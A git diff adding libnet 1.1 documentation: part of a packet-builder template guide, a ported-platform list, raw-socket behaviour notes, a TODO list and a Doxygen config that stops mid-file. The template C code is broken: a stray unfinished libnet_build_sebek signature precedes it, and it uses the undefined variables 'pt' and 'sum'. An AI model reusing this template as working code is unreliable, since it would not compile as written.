"libnet_build_PROTOCOL.c" + convention. I recommend copying one of the existing builder modules and + modifying it as you go. + + +4a) + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_sebek(u_int32_t magic, u_int16_t version, u_int16_t type, +u_int32_t counter, u_int32_t time_sec, u_int32_t time_usec, u_int32_t pid, +u_int32_t uid, u_int32_t fd, u_int8_t cmd[SEBEK_CMD_LENGTH], u_int32_t length, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + + +libnet_ptag_t +libnet_build_XXX(u_char arg1, u_short arg2, u_long arg3, u_char *payload, + u_long payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + /* + * n is the size of the protocol unit. This is usually the header size + * plus the payload size. This is also how many bytes are allocated on + * the heap to hold this protocol unit. + */ + u_long n; + + /* + * h is used inside the pblock structure to let libnet know how big + * much data to checksum. This is different for different protocols. + * The IPv4 checksum covers the IP header only, while TCP and UDP + * checksums cover header and data. + */ + u_short h; + + /* + * p will be used to refer to the protocol block that will either be + * allocated if the function's pt argument is 0, or located if ptag refers + * to a previously created protocol unit. + */ + libnet_pblock_t *p; + + /* + * XXX_hdr is the header structure that will be overlaid onto the + * allocated memory by way of a memcpy. + */ + struct libnet_XXX_hdr XXX_hdr; + + /* + * Here we sanity check to make sure we have a live l. + */ + if (l == NULL) + { + return (-1); + } + + n = LIBNET_XXX_H + payload_s; + h = 0; /* no checksum by default */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, pt, n, LIBNET_PBLOCK_XXX_H); + if (p == NULL) + { + return (-1); + } + + /* + * Build your packet here. Be sure to call appropriate endian conversion + * routines. + */ + XXX_hdr.field1 = arg1; + XXX_hdr.field2 = htons(arg2); + XXX_hdr.field3 = htonl(arg3); + + /* + * Appened the protocol unit to the list. + */ + n = libnet_pblock_append(l, p, (u_char *)&XXX_hdr, LIBNET_XXX_H); + if (n == -1) + { + goto bad; + } + + /* + * Sanity check the payload arguments. + */ + if ((payload && !payload_s) || (!payload && payload_s)) + { + sprintf(l->err_buf, "%s(): payload inconsistency\n", __FUNCTION__); + goto bad; + } + + /* + * Append the payload to the list if it exists. + */ + if (payload && payload_s) + { + n = libnet_pblock_append(l, p, payload, payload_s); + if (n == -1) + { + goto bad; + } + } + + /* + * If this packet header has a checksum field, you'll add this + * and you'll have to edit libnet_checksum.c to add it to the switch + * table. You might have to define the protocol number too. + */ + if (sum == 0 && l->injection_type != LIBNET_RAW4) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + + /* + * Update the protocol block's meta information and return the protocol + * tag id of this pblock. This tag will be used to locate the pblock + * in order to modify the protocol header in subsequent calls. + */ + return (pt ? pt : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_XXX_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); + +} + 4) Add it to src/Makefile.am and then automake from the TLD. + 5) Test the shit out of it. + 6) Send it over to mike@infonexus.com. + + +EOF diff --git a/libnet/doc/PORTED b/libnet/doc/PORTED new file mode 100644 index 0000000..77df971 --- /dev/null +++ b/libnet/doc/PORTED @@ -0,0 +1,45 @@ +=============================================================================== + $Id: PORTED,v 1.2 2004/01/03 20:31:00 mike Exp $ + LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + http://www.packetfactory.net/libnet +=============================================================================== + + + 1.1.0 PORTED OPERATING SYSTEMS + + If you verify libnet building and running successfully (sample code works) + on a platform not listed here please send email to mike@infonexus.com. + + - BSD/OS + 4.x + + - Cygwin + - requires winpcap (http://netgroup-serv.polito.it/winpcap) and pcap + header files copied to /usr/include/pcap/ and the library files to + be copied to /usr/lib/ + + - FreeBSD + version? + + - HPUX + 11.0 + + - Linux + 2.0.x + 2.2.x + 2.4.x + + - OpenBSD + 2.x + 3.x + + - OS/X + version? + + - Solaris + 2.x + 7 + 8 + 9 + +EOF diff --git a/libnet/doc/RAWSOCKET_NON_SEQUITUR b/libnet/doc/RAWSOCKET_NON_SEQUITUR new file mode 100644 index 0000000..7f8c758 --- /dev/null +++ b/libnet/doc/RAWSOCKET_NON_SEQUITUR @@ -0,0 +1,41 @@ +=============================================================================== + $Id: RAWSOCKET_NON_SEQUITUR,v 1.2 2004/01/03 20:31:00 mike Exp $ + LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + http://www.packetfactory.net/libnet +=============================================================================== + + Raw sockets are horribly non-standard across implementations. Here is + an incomplete list of some of the differences (corrections welcomed): + + Linux 2.2+: + + IP fragmentation: performed if packet is larger than MTU + IP checksum: always filled in + IP total length: always filled in + IP ID: filled in when zero + IP source address: filled in when zero + IP destination address: filled in when zero + Max packet size before kernel complains: 1500 bytes + + Solaris 2.6+: + + IP fragmentation bits: can't specify + IP fragmentation: performed if packet is larger than MTU + IP DF bit: always set + IP checksum: always filled in + Max packet size before kernel complains: ? + + OpenBSD 2.8+: + + IP fragmentation: performed if packet is larger than MTU + Max packet size before kernel complains: 8192 bytes + + Solaris, + for example, has terrible support for this packet interface. Older OpenBSD + versions and recent FreeBSD versions have the BSD_BYTE_SWAP issue where + the ip_len and ip_frag fields need to be in little endian order. Linux + apparently doesn't allow for the injection of broadcast IP datagrams. + Whenever complete control over the IP header is desired, use the link + layer API. + +EOF diff --git a/libnet/doc/TODO b/libnet/doc/TODO new file mode 100644 index 0000000..84464d1 --- /dev/null +++ b/libnet/doc/TODO @@ -0,0 +1,96 @@ +=============================================================================== + $Id: TODO,v 1.2 2004/01/03 20:31:00 mike Exp $ + LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + http://www.packetfactory.net/libnet +=============================================================================== + + + 1.1.x TODO LIST + + * Update the man page! + + - Add a programmer's man page detailing the pblock architecture. + + - Fix plist memory leak. + + - Fix IPv6. According to RFC 2992: + "Another difference from IPv4 raw sockets is that complete packets + (that is, IPv6 packets with extension headers) cannot be read or + written using the IPv6 raw sockets API. Instead, ancillary data + objects are used to transfer the extension headers, as described + later in this document. Should an application need access to the + complete IPv6 packet, some other technique, such as the datalink + interfaces BPF or DLPI, must be used. + + All fields in the IPv6 header that an application might want to + change (i.e., everything other than the version number) can be + modified using ancillary data and/or socket options by the + application for output. All fields in a received IPv6 header (other + than the version number and Next Header fields) and all extension + headers are also made available to the application as ancillary data + on input. Hence there is no need for a socket option similar to the + IPv4 IP_HDRINCL socket option." + + - Add self-throttling logic to libnet_write()/libnet_init()? Advanced + mode thing? + + - Prune the include list in libnet.h.in. Also add conditionals + around the headers we use for building the library, but not when + using it. + + - Data marshalling API for unaligned structures (like STP). + + - Make cisco ISL work. The issue is that we have build our Ethernet + frame first, then encapsulate it inside of an ISL envelope. + - We have to compute CRCs for both Ethernet and ISL. + + - Tune advanced interface functionality that allow the application + programmer to get inside libnet_t. + + - Test HPUX 11 port. + + - Test cywin32 port. + + - Flesh out the advanced mode. + + - Consider making a flag for "strict mode" where libnet will check + things like when you build an IP options list there is an IP + header preceding it (likewise for TCP)... Other "smart" things + could happen in this mode too. When in non-strict mode, libnet + will be less rigid but prone to user-error mode. + + - If we have a problem building a header we might end up freeing it + creating a NULL entry on the list and preventing us from getting to + entries beyond it (to free or whatever). Maybe we should mark it + bad or something and rely on the cleanup at the end to free it up? + + - Fix checksum support for CDP + + - Verify Checksuming: + Currently verified working on OpenBSD/Linux/Solaris: + - raw IP/UDP [with and without data] + - raw IP/TCP [with and without data] + - raw IP/ICMP [with and without data] + - raw IP/OSPF + - hello packet [with no auth data] + - hello packet [with no auth data and LSA sub-header (LSA check = bad)] + - link IP/UDP [with and without data] + - link IP/TCP [with and without data] + + - Update the rest of the libnet_link_* files for the new format, already + ported: + - bpf [works] + - linux packet socket [works] + - linux sock packet [works] + - dlpi [works] + + - Port link stuff to use writev() in libnet_write() (sendto can't hang). + + - Get IPsec code working. + + - Add the following packet builders: + - SNMP + + - Update __libnet_handle_dump to dump everything in l verbosely. + +EOF diff --git a/libnet/doc/libnet.doxygen.conf b/libnet/doc/libnet.doxygen.conf new file mode 100644 index 0000000..23647a2 --- /dev/null +++ b/libnet/doc/libnet.doxygen.conf @@ -0,0 +1,1102 @@ +# Doxyfile 1.3.2 +# $Id: libnet.doxygen.conf,v 1.3 2004/11/09 07:05:06 mike Exp $ + +# This file describes the settings to be used by the documentation system +# doxygen (www.doxygen.org) for a project +# +# All text after a hash (#) is considered a comment and will be ignored +# The format is: +# TAG = value [value, ...] +# For lists items can also be appended using: +# TAG += value [value, ...] +# Values that contain spaces should be placed between quotes (" ") + +#--------------------------------------------------------------------------- +# General configuration options +#--------------------------------------------------------------------------- + +# The PROJECT_NAME tag is a single word (or a sequence of words surrounded +# by quotes) that should identify the project. + +PROJECT_NAME = "libnet" + +# The PROJECT_NUMBER tag can be used to enter a project or revision number. +# This could be handy for archiving the generated documentation or +# if some version control system is used. + +PROJECT_NUMBER = "1.1.1" + +# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) +# base path where the generated documentation will be put. +# If a relative path is entered, it will be relative to the location +# where doxygen was started. If left blank the current directory will be used. + +OUTPUT_DIRECTORY = "doc" + +# The OUTPUT_LANGUAGE tag is used to specify the language in which all +# documentation generated by doxygen is written. Doxygen will use this +# information to generate all constant output in the proper language. +# The default language is English, other supported languages are: +# Brazilian, Catalan, Chinese, Chinese-Traditional, Croatian, Czech, Danish, Dutch, +# Finnish, French, German, Greek, Hungarian, Italian, Japanese, Japanese-en +# (Japanese with English messages), Korean, Norwegian, Polish, Portuguese, +# Romanian, Russian, Serbian, Slovak, Slovene, Spanish, Swedish, and Ukrainian. + +OUTPUT_LANGUAGE = English + +# This tag can be used to specify the encoding used in the generated output. +# The encoding is not always determined by the language that is chosen, +# but also whether or not the output is meant for Windows or non-Windows users. +# In case there is a difference, setting the USE_WINDOWS_ENCODING tag to YES +# forces the Windows encoding (this is the default for the Windows binary), +# whereas setting the tag to NO uses a Unix-style encoding (the default for +# all platforms other than Windows). + +USE_WINDOWS_ENCODING = NO + +# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in +# documentation are documented, even if no documentation was available. +# Private class members and static file members will be hidden unless +# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES + +EXTRACT_ALL = NO + +# If the EXTRACT_PRIVATE tag is set to YES all private members of a class +# will be included in the documentation. + +EXTRACT_PRIVATE = NO + +# If the EXTRACT_STATIC tag is set to YES all static members of a file +# will be included in the documentation. + +EXTRACT_STATIC = NO + +# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) +# defined locally in source files will be included in the documentation. +# If set to NO only classes defined in header files are included. + +EXTRACT_LOCAL_CLASSES = YES + +# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all +# undocumented members of documented classes, files or namespaces. +# If set to NO (the default) these members will be included in the +# various overviews, but no documentation section is generated. +# This option has no effect if EXTRACT_ALL is enabled. + +HIDE_UNDOC_MEMBERS = NO + +# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all +# undocumented classes that are normally visible in the class hierarchy. +# If set to NO (the default) these classes will be included in the various +# overviews. This option has no effect if EXTRACT_ALL is enabled. + +HIDE_UNDOC_CLASSES = NO + +# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all +# friend (class|struct|union) declarations. +# If set to NO (the default) these declarations will be included in the +# documentation. + +HIDE_FRIEND_COMPOUNDS = NO + +# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any +# documentation blocks found inside the body of a function. +# If set to NO (the default) these blocks will be appended to the +# function's detailed documentation block. + +HIDE_IN_BODY_DOCS = NO + +# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will +# include brief member descriptions after the members that are listed in +# the file and class documentation (similar to JavaDoc). +# Set to NO to disable this. + +BRIEF_MEMBER_DESC = YES + +# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend +# the brief description of a member or function before the detailed description. +# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the +# brief descriptions will be completely suppressed. + +REPEAT_BRIEF = YES + +# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then +# Doxygen will generate a detailed section even if there is only a brief +# description. + +ALWAYS_DETAILED_SEC = NO + +# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all inherited +# members of a class in the documentation of that class as if those members were +# ordinary class members. Constructors, destructors and assignment operators of +# the base classes will not be shown. + +INLINE_INHERITED_MEMB = NO + +# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full +# path before files name in the file list and in the header files. If set +# to NO the shortest path that makes the file name unique will be used. + +FULL_PATH_NAMES = NO + +# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag +# can be used to strip a user-defined part of the path. Stripping is +# only done if one of the specified strings matches the left-hand part of +# the path. It is allowed to use relative paths in the argument list. + +STRIP_FROM_PATH = + +# The INTERNAL_DOCS tag determines if documentation +# that is typed after a \internal command is included. If the tag is set +# to NO (the default) then the documentation will be excluded. +# Set it to YES to include the internal documentation. + +INTERNAL_DOCS = NO + +# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate +# file names in lower-case letters. If set to YES upper-case letters are also +# allowed. This is useful if you have classes or files whose names only differ +# in case and if your file system supports case sensitive file names. Windows +# users are advised to set this option to NO. + +CASE_SENSE_NAMES = YES + +# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter +# (but less readable) file names. This can be useful is your file systems +# doesn't support long names like on DOS, Mac, or CD-ROM. + +SHORT_NAMES = NO + +# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen +# will show members with their full class and namespace scopes in the +# documentation. If set to YES the scope will be hidden. + +HIDE_SCOPE_NAMES = NO + +# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen +# will put a list of the files that are included by a file in the documentation +# of that file. + +SHOW_INCLUDE_FILES = YES + +# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen +# will interpret the first line (until the first dot) of a JavaDoc-style +# comment as the brief description. If set to NO, the JavaDoc +# comments will behave just like the Qt-style comments (thus requiring an +# explict @brief command for a brief description. + +JAVADOC_AUTOBRIEF = NO + +# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen +# treat a multi-line C++ special comment block (i.e. a block of //! or /// +# comments) as a brief description. This used to be the default behaviour. +# The new default is to treat a multi-line C++ comment block as a detailed +# description. Set this tag to YES if you prefer the old behaviour instead. + +MULTILINE_CPP_IS_BRIEF = NO + +# If the DETAILS_AT_TOP tag is set to YES then Doxygen +# will output the detailed description near the top, like JavaDoc. +# If set to NO, the detailed description appears after the member +# documentation. + +DETAILS_AT_TOP = NO + +# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented +# member inherits the documentation from any documented member that it +# reimplements. + +INHERIT_DOCS = YES + +# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] +# is inserted in the documentation for inline members. + +INLINE_INFO = YES + +# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen +# will sort the (detailed) documentation of file and class members +# alphabetically by member name. If set to NO the members will appear in +# declaration order. + +SORT_MEMBER_DOCS = YES + +# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC +# tag is set to YES, then doxygen will reuse the documentation of the first +# member in the group (if any) for the other members of the group. By default +# all members of a group must be documented explicitly. + +DISTRIBUTE_GROUP_DOC = NO + +# The TAB_SIZE tag can be used to set the number of spaces in a tab. +# Doxygen uses this value to replace tabs by spaces in code fragments. + +TAB_SIZE = 4 + +# The GENERATE_TODOLIST tag can be used to enable (YES) or +# disable (NO) the todo list. This list is created by putting \todo +# commands in the documentation. + +GENERATE_TODOLIST = YES + +# The GENERATE_TESTLIST tag can be used to enable (YES) or +# disable (NO) the test list. This list is created by putting \test +# commands in the documentation. + +GENERATE_TESTLIST = YES + +# The GENERATE_BUGLIST tag can be used to enable (YES) or +# disable (NO) the bug list. This list is created by putting \bug +# commands in the documentation. + +GENERATE_BUGLIST = YES + +# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or +# disable (NO) the deprecated list. This list is created by putting +# \deprecated commands in the documentation. + +GENERATE_DEPRECATEDLIST= YES + +# This tag can be used to specify a number of aliases that acts +# as commands in the documentation. An alias has the form "name=value". +# For example adding "sideeffect=\par Side Effects:\n" will allow you to +# put the command \sideeffect (or @sideeffect) in the documentation, which +# will result in a user-defined paragraph with heading "Side Effects:". +# You can put \n's in the value part of an alias to insert newlines. + +ALIASES = + +# The ENABLED_SECTIONS tag can be used to enable conditional +# documentation sections, marked by \if sectionname ... \endif. + +ENABLED_SECTIONS = + +# The MAX_INITIALIZER_LINES tag determines the maximum number of lines +# the initial value of a variable or define consists of for it to appear in +# the documentation. If the initializer consists of more lines than specified +# here it will be hidden. Use a value of 0 to hide initializers completely. +# The appearance of the initializer of individual variables and defines in the +# documentation can be controlled using \showinitializer or \hideinitializer +# command in the documentation regardless of this setting. + +MAX_INITIALIZER_LINES = 30 + +# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C sources +# only. Doxygen will then generate output that is more tailored for C. +# For instance, some of the names that are used will be different. The list +# of all members will be omitted, etc. + +OPTIMIZE_OUTPUT_FOR_C = YES + +# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java sources +# only. Doxygen will then generate output that is more tailored for Java. +# For instance, namespaces will be presented as packages, qualified scopes +# will look different, etc. + +OPTIMIZE_OUTPUT_JAVA = NO + +# Set the SHOW_USED_FILES tag to NO to disable the list of files generated +# at the bottom of the documentation of classes and structs. If set to YES the +# list will mention the files that were used to generate the documentation. + +SHOW_USED_FILES = YES + +#--------------------------------------------------------------------------- +# configuration options related to warning and progress messages +#--------------------------------------------------------------------------- + +# The QUIET tag can be used to turn on/off the messages that are generated +# by doxygen. Possible values are YES and NO. If left blank NO is used. + +QUIET = NO + +# The WARNINGS tag can be used to turn on/off the warning messages that are +# generated by doxygen. Possible values are YES and NO. If left blank +# NO is used. + +WARNINGS = YES + +# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings +# for undocumented members. If EXTRACT_ALL is set to YES then this flag will +# automatically be disabled. + +WARN_IF_UNDOCUMENTED = YES + +# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for +# potential errors in the documentation, such as not documenting some +# parameters in a documented function, or documenting parameters that +# don't exist or using markup commands wrongly. + +WARN_IF_DOC_ERROR = YES + +# The WARN_FORMAT tag determines the format of the warning messages that +# doxygen can produce. The string should contain the $file, $line, and $text +# tags, which will be replaced by the file and line number from which the +# warning originated and the warning text. + +WARN_FORMAT = "$file:$line: $text" + +# The WARN_LOGFILE tag can be used to specify a file to which warning +# and error messages should be written. If left blank the output is written +# to stderr. + +WARN_LOGFILE = + +#--------------------------------------------------------------------------- +# configuration options related to the input files +#--------------------------------------------------------------------------- + +# The INPUT tag can be used to specify the files and/or directories that contain +# documented source files. You may enter file names like "myfile.cpp" or +# directories like "/usr/src/myproject". Separate the files or directories +# with spaces. + +INPUT = . + +# If the value of the INPUT tag contains directories, you can use the +# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp +# and *.h) to filter out the source-files in the directories. If left +# blank the following patterns are tested: +# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx *.hpp +# *.h++ *.idl *.odl *.cs + +FILE_PATTERNS = *.c *.h *.in + +# The RECURSIVE tag can be used to turn specify whether or not subdirectories +# should be searched for input files as well. Possible values are YES and NO. +# If left blank NO is used. + +RECURSIVE = YES + +# The EXCLUDE tag can be used to specify files and/or directories that should +# excluded from the INPUT source files. This way you can easily exclude a +# subdirectory from a directory tree whose root is specified with the INPUT tag. + +EXCLUDE = + +# The EXCLUDE_SYMLINKS tag can be used select whether or not files or directories +# that are symbolic links (a Unix filesystem feature) are excluded from the input. + +EXCLUDE_SYMLINKS = NO + +# If the value of the INPUT tag contains directories, you can use the +# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude +# certain files from those directories. + +EXCLUDE_PATTERNS = */sample/* + +# The EXAMPLE_PATH tag can be used to specify one or more files or +# directories that contain example code fragments that are included (see +# the \include command). + +EXAMPLE_PATH = + +# If the value of the EXAMPLE_PATH tag contains directories, you can use the +# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp +# and *.h) to filter out the source-files in the directories. If left +# blank all files are included. + +EXAMPLE_PATTERNS = + +# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be +# searched for input files to be used with the \include or \dontinclude +# commands irrespective of the value of the RECURSIVE tag. +# Possible values are YES and NO. If left blank NO is used. + +EXAMPLE_RECURSIVE = NO + +# The IMAGE_PATH tag can be used to specify one or more files or +# directories that contain image that are included in the documentation (see +# the \image command). + +IMAGE_PATH = + +# The INPUT_FILTER tag can be used to specify a program that doxygen should +# invoke to filter for each input file. Doxygen will invoke the filter program +# by executing (via popen()) the command <filter> <input-file>, where <filter> +# is the value of the INPUT_FILTER tag, and <input-file> is the name of an +# input file. Doxygen will then use the output that the filter program writes +# to standard output. + +INPUT_FILTER = + +# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using +# INPUT_FILTER) will be used to filter the input files when producing source +# files to browse (i.e. when SOURCE_BROWSER is set to YES). + +FILTER_SOURCE_FILES = NO + +#--------------------------------------------------------------------------- +# configuration options related to source browsing +#--------------------------------------------------------------------------- + +# If the SOURCE_BROWSER tag is set to YES then a list of source files will +# be generated. Documented entities will be cross-referenced with these sources. + +SOURCE_BROWSER = NO + +# Setting the INLINE_SOURCES tag to YES will include the body +# of functions and classes directly in the documentation. + +INLINE_SOURCES = NO + +# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct +# doxygen to hide any special comment blocks from generated source code +# fragments. Normal C and C++ comments will always remain visible. + +STRIP_CODE_COMMENTS = YES + +# If the REFERENCED_BY_RELATION tag is set to YES (the default) +# then for each documented function all documented +# functions referencing it will be listed. + +REFERENCED_BY_RELATION = YES + +# If the REFERENCES_RELATION tag is set to YES (the default) +# then for each documented function all documented entities +# called/used by that function will be listed. + +REFERENCES_RELATION = YES + +# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen +# will generate a verbatim copy of the header file for each class for +# which an include is specified. Set to NO to disable this. + +VERBATIM_HEADERS = YES + +#--------------------------------------------------------------------------- +# configuration options related to the alphabetical class index +#--------------------------------------------------------------------------- + +# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index +# of all compounds will be generated. Enable this if the project +# contains a lot of classes, structs, unions or interfaces. + +ALPHABETICAL_INDEX = NO + +# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then +# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns +# in which this list will be split (can be a number in the range [1..20]) + +COLS_IN_ALPHA_INDEX = 5 + +# In case all classes in a project start with a common prefix, all +# classes will be put under the same header in the alphabetical index. +# The IGNORE_PREFIX tag can be used to specify one or more prefixes that +# should be ignored while generating the index headers. + +IGNORE_PREFIX = + +#--------------------------------------------------------------------------- +# configuration options related to the HTML output +#--------------------------------------------------------------------------- + +# If the GENERATE_HTML tag is set to YES (the default) Doxygen will +# generate HTML output. + +GENERATE_HTML = YES + +# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `html' will be used as the default path. + +HTML_OUTPUT = html + +# The HTML_FILE_EXTENSION tag can be used to specify the file extension for +# each generated HTML page (for example: .htm,.php,.asp). If it is left blank +# doxygen will generate files with .html extension. + +HTML_FILE_EXTENSION = .html + +# The HTML_HEADER tag can be used to specify a personal HTML header for +# each generated HTML page. If it is left blank doxygen will generate a +# standard header. + +HTML_HEADER = + +# The HTML_FOOTER tag can be used to specify a personal HTML footer for +# each generated HTML page. If it is left blank doxygen will generate a +# standard footer. + +HTML_FOOTER = + +# The HTML_STYLESHEET tag can be used to specify a user-defined cascading +# style sheet that is used by each HTML page. It can be used to +# fine-tune the look of the HTML output. If the tag is left blank doxygen +# will generate a default style sheet + +HTML_STYLESHEET = + +# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, +# files or namespaces will be aligned in HTML using tables. If set to +# NO a bullet list will be used. + +HTML_ALIGN_MEMBERS = YES + +# If the GENERATE_HTMLHELP tag is set to YES, additional index files +# will be generated that can be used as input for tools like the +# Microsoft HTML help workshop to generate a compressed HTML help file (.chm) +# of the generated HTML documentation. + +GENERATE_HTMLHELP = NO + +# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can +# be used to specify the file name of the resulting .chm file. You +# can add a path in front of the file if the result should not be +# written to the html output dir. + +CHM_FILE = + +# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can +# be used to specify the location (absolute path including file name) of +# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run +# the HTML help compiler on the generated index.hhp. + +HHC_LOCATION = + +# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag +# controls if a separate .chi index file is generated (YES) or that +# it should be included in the master .chm file (NO). + +GENERATE_CHI = NO + +# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag +# controls whether a binary table of contents is generated (YES) or a +# normal table of contents (NO) in the .chm file. + +BINARY_TOC = NO + +# The TOC_EXPAND flag can be set to YES to add extra items for group members +# to the contents of the HTML help documentation and to the tree view. + +TOC_EXPAND = NO + +# The DISABLE_INDEX tag can be used to turn on/off the condensed index at +# top of each HTML page. The value NO (the default) enables the index and +# the value YES disables it. + +DISABLE_INDEX = NO + +# This tag can be used to set the number of enum values (range [1..20]) +# that doxygen will group on one line in the generated HTML documentation. + +ENUM_VALUES_PER_LINE = 4 + +# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be +# generated containing a tree-like index structure (just like the one that +# is generated for HTML Help). For this to work a browser that supports +# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, +# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are +# probably better off using the HTML help feature. + +GENERATE_TREEVIEW = NO + +# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be +# used to set the initial width (in pixels) of the frame in which the tree +# is shown. + +TREEVIEW_WIDTH = 250 + +#--------------------------------------------------------------------------- +# configuration options related to the LaTeX output +#--------------------------------------------------------------------------- + +# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will +# generate Latex output. + +GENERATE_LATEX = NO + +# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `latex' will be used as the default path. + +LATEX_OUTPUT = latex + +# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be +# invoked. If left blank `latex' will be used as the default command name. + +LATEX_CMD_NAME = latex + +# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to +# generate index for LaTeX. If left blank `makeindex' will be used as the +# default command name. + +MAKEINDEX_CMD_NAME = makeindex + +# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact +# LaTeX documents. This may be useful for small projects and may help to +# save some trees in general. + +COMPACT_LATEX = NO + +# The PAPER_TYPE tag can be used to set the paper type that is used +# by the printer. Possible values are: a4, a4wide, letter, legal and +# executive. If left blank a4wide will be used. + +PAPER_TYPE = a4wide + +# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX +# packages that should be included in the LaTeX output. + +EXTRA_PACKAGES = + +# The LATEX_HEADER tag can be used to specify a personal LaTeX header for +# the generated latex document. The header should contain everything until +# the first chapter. If it is left blank doxygen will generate a +# standard header. Notice: only use this tag if you know what you are doing! + +LATEX_HEADER = + +# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated +# is prepared for conversion to pdf (using ps2pdf). The pdf file will +# contain links (just like the HTML output) instead of page references +# This makes the output suitable for online browsing using a pdf viewer. + +PDF_HYPERLINKS = NO + +# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of +# plain latex in the generated Makefile. Set this option to YES to get a +# higher quality PDF documentation. + +USE_PDFLATEX = NO + +# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. +# command to the generated LaTeX files. This will instruct LaTeX to keep +# running if errors occur, instead of asking the user for help. +# This option is also used when generating formulas in HTML. + +LATEX_BATCHMODE = NO + +# If LATEX_HIDE_INDICES is set to YES then doxygen will not +# include the index chapters (such as File Index, Compound Index, etc.) +# in the output. + +LATEX_HIDE_INDICES = NO + +#--------------------------------------------------------------------------- +# configuration options related to the RTF output +#--------------------------------------------------------------------------- + +# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output +# The RTF output is optimised for Word 97 and may not look very pretty with +# other RTF readers or editors. + +GENERATE_RTF = NO + +# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `rtf' will be used as the default path. + +RTF_OUTPUT = rtf + +# If the COMPACT_RTF tag is set to YES Doxygen generates more compact +# RTF documents. This may be useful for small projects and may help to +# save some trees in general. + +COMPACT_RTF = NO + +# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated +# will contain hyperlink fields. The RTF file will +# contain links (just like the HTML output) instead of page references. +# This makes the output suitable for online browsing using WORD or other +# programs which support those fields. +# Note: wordpad (write) and others do not support links. + +RTF_HYPERLINKS = NO + +# Load stylesheet 